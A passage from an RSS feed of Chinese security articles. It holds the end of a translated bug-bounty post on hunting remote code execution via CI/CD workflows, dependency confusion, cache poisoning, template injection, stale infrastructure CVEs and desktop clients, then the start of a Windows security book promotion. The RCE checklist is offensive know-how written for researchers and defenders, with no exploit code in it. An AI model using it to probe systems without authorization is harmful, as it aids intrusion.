0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如何更新 2026 年的 RCE 测试方法</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">旧测试方法仍然有价值 — 文件上传漏洞、命令注入和已知 CVE 仍能带来赏金。当前 RCE 攻击面的多数部分需要补充测试。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">需要补充的测试如下。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">测试 CI/CD 和供应链</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.github/workflows/</span></code><span leaf="">文件中查找 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pull_request_target</span></code><span leaf="">。工作流是否检出 fork 代码？是否在该代码上执行命令？工作流环境中是否提供敏感凭据？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检查项目的依赖解析顺序。内部软件包名称能否在公共注册表中注册 (npm、PyPI、RubyGems)？CI 流水线是否可能解析并下载同名公共软件包？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">检查构建缓存系统 (NX Cloud、Gradle、pip cache)。具备仓库读取权限的人员能否覆盖缓存产物？</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">同时测试框架和应用</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">应用使用什么模板引擎？是否存在接收用户可控字符串的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">raw</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">inline</span></code><span leaf="">渲染模式？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">当前运行的框架是什么版本？该版本是否存在应用可能暴露的已知 SSTI 或代码注入 CVE？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">DAG 文件、配置模板或文档字符串是否通过模板引擎渲染？ (Airflow 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">doc_md</span></code><span leaf="">字段就是实际案例。)</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">测试基础设施工具</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">目标使用哪些基础设施工具？curl、Tomcat、Airflow、Jenkins、GitHub Enterprise Server？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">它们是否运行当前版本？当前部署版本涉及哪些 CVE？当前部署是否满足利用条件？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">这些工具是否存在接收用户输入、未在文档中说明或说明不充分的 API 端点？</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">重点查找漏洞链</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">部分 PUT 写入操作能否写入应用后续读取或反序列化的位置？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">路径遍历能否写入应用后续执行或作为库加载的位置？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Web 上下文中的 XSS 能否进入桌面应用上下文 (Electron、WebView) 并在其中转化为 RCE？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">低严重性漏洞 (SSRF、路径遍历、信息泄露) 能否成为最终导致 RCE 的漏洞链的第一步？</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">测试桌面客户端和 VPN 客户端</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">桌面客户端是否提供网页可访问的本地 WebSocket 或 HTTP 接口？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">它们是否会从用户可控的 URL 下载并执行文件？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">它们是否会根据用户输入构造文件路径，且未清理路径遍历序列？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">客户端是否以开发或 staging 模式运行，并因此暴露额外攻击面？</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关键要点</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RCE 持续存在，攻击面已迁移。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2020 年，通过向 Web 应用参数注入数据可以发现 RCE。2026 年，通过向构建流水线、框架渲染引擎、基础设施工具和桌面客户端文件路径注入数据，可以发现 RCE。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2020 年有效的方法 — 测试端点、注入载荷、获取 shell — 适用于缺少补丁的端点。具有测试价值的端点已发生变化。如今赏金最高的 RCE 漏洞要求理解整个系统：代码如何构建、应用运行在哪些框架上、依赖哪些基础设施，以及客户端如何与服务器通信。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新方法论的漏洞研究人员能够发现 2020 年测试方法遗漏的 RCE。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">来源</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">DuckDuckGo — 通过 GitHub Actions 中的 pull_request_target 实现 RCE 和 PAT 外泄 (2026)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Mozilla — 通过污染 CI 构建缓存实现 RCE 和机密信息外泄 ($8,000, 2024)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">PayPal — 通过 npm 配置错误 / 依赖混淆实现 RCE ($30,000, 2020)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Yelp — 通过错误配置的 pip install 在构建服务器上实现 RCE (2020)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Fastify — 通过在 @fastify/view 中不安全地使用 reply.view({ raw }) 实现 RCE (2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">AWS MWAA — 因 Apache Airflow 版本过旧导致 RCE，CVE-2024-39877 (2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">curl — Cookie 解析中的栈缓冲区溢出 (2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">curl — MQTT CONNACK 数据包类型绕过导致 RCE (2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">curl — 通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--engine</span></code><span leaf="">选项加载任意库实现 RCE (2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Apache Tomcat — CVE-2025-24813：通过 partial PUT 和反序列化实现 RCE ($4,323, 2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitHub Enterprise Server — 通过 ghe-update-check 实现 RCE，CVE-2024-1359 (2024)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitHub Enterprise Server — 通过 syslog-ng 实现 RCE (2024)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitHub Enterprise Server — 通过 actions-console 实现 RCE (2024)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitHub Enterprise Server — 通过 collectd 实现 RCE (2024)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Mozilla VPN — 通过文件写入和路径遍历实现 RCE ($6,000, 2025)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Krisp — SQL 注入和不安全反序列化导致 RCE</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Shopify — 通过 ImageTragick 在 kitcrm 上实现 RCE (2018)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Semrush — 通过 ImageMagick/Ghostscript 处理 Logo 上传实现 RCE (2018)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitLab — 使用 ExifTool 移除元数据时实现 RCE ($20,000, 2021)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitLab — Git 标志注入导致 RCE ($12,000，2019)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">GitLab — 通过 DecompressedArchiveSizeValidator 实现 RCE ($33,510, 2022)</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Uber — 通过 Flask Jinja2 模板注入实现 RCE ($10,000，2016)</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px; font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none; margin-top: 15px; margin-right: 0px; margin-left: 0px; border-left: 4px solid rgb(223, 226, 229); padding: 0px 15px; color: rgb(106, 115, 125); font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif; background-color: rgb(255, 255, 255); margin-bottom: 0px !important;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。    </span></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://medium.com/@Aacle/rce-in-2026-doesnt-look-like-rce-in-2020-here-s-what-actually-matters-now-fedb5bee2c86">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9dd76550&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496881%26idx%3D1%26sn%3D767d0074a52a13776ca8a5047d05faea">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Aug 2026 14:26:00 +0800</pubDate>
    </item>
    <item>
      <title>国际顶尖安全专家打造的 Windows AAA 体系权威实战指南上市了！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496876&amp;idx=1&amp;sn=993d67e568b7d0bf1b4c700fb1acd4d1</link>
      <description>本书是国际顶尖安全专家打造的Windows AAA体系权威实战指南。全书基于Windows 10、Windows Server 2016及以上主流稳定版本编写，搭配PowerShell与NTObjectManager模块共计550余条专用命令，兼顾理论深度与落地能力，全方位补齐Windows安全技术短板。</description>
      <content:encoded><![CDATA[<p><span>异步图书</span> <span>2026-08-13 10:26</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2289d861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSj18zURNM9FHIYrnicr3lgDCvbqbPbiboW3P5Ex3N6mibcDlHQtdpX5icXnVZV0TXqepSxibvHcdibsGw2dGs2qVgCpWtTbCEJbA2RDY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本书是国际顶尖安全专家打造的Windows AAA体系权威实战指南。全书基于Windows 10、Windows Server 2016及以上主流稳定版本编写，搭配PowerShell与NTObjectManager模块共计550余条专用命令，兼顾理论深度与落地能力，全方位补齐Windows安全技术短板。</p>
  <div><span leaf=""><img alt="Image" class="rich_pages wxw-img __bg_gif" data-aistatus="1" data-ratio="0.21875" data-s="300,640" data-type="gif" data-w="640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=540f659e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjbK5xPfic2R3UAU3LJGwbEzTpjP0797X7Sx1eKz1UxkmEwwSecXJib5tndicI0gVGz7gXMrTD5XaBjlGj9jazSFy4O1s0sz5FpvKSv6fnKtWMg%2F640%3Fwx_fmt%3Dgif%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></span><div style="margin: 10px 8px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-width: 10%;line-height: 0;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 49px;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;flex-flow: row;width: 49px;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: center;flex-direction: row;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 49px;flex: 0 0 auto;align-self: flex-start;vertical-align: top;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 0px;border-radius: 3px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;background-color: rgb(14, 172, 157);width: 49px;visibility: visible;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 13px;color: rgb(255, 255, 255);line-height: 1.6;visibility: visible;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-shadow: rgb(194, 164, 104) 0.766044px 0.642788px 1px;font-family: Optima-Regular, PingFangTC-light;visibility: visible;overflow-wrap: break-word !important;"><em style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-style: italic;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Part.1</span></strong></em></span></p></div></div></div></div></div></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">击穿 Windows 安全壁垒：</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">从真实入侵事件到AAA体系全解</span></strong></p></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2026年初，全球知名邮件系统厂商 SmarterTools 遭到 Warlock 勒索团伙（关联 Storm-2603 组织）攻击。攻击者以一台长期无人维护、未及时打补丁的 Windows 虚拟机为突破口，利用高危漏洞绕过系统身份验证，依托</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">活动目录（AD）</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在内网横向渗透，新建隐藏账户持久控权，逐步接管内网权限。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">攻击者潜伏一周后发起勒索加密，虽终端安全工具成功拦截核心加密行为，但企业仍不得不启用 6 小时前的备份完成灾难恢复，业务中断造成直接经济损失与品牌负面影响。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">事后复盘直指核心隐患：现场运维仅依赖图形界面做基础配置，</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">不了解 SAM 数据库凭据存储机制、漠视权限最小化原则、无法识别异常登录、看不懂底层审计日志</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">。本该层层设防的 Windows AAA 安全体系，最终被攻击者逐个突破。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">放眼全行业，金融、医疗、制造等领域也曾多次因 Windows 内核漏洞、NTLM/Kerberos 协议滥用、权限越权等问题，发生数据泄露、产线停工、业务系统瘫痪等重大事故。如今 Windows 作为政企终端、服务器、大型域网络的核心载体，早已成为网络攻击的首要目标。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 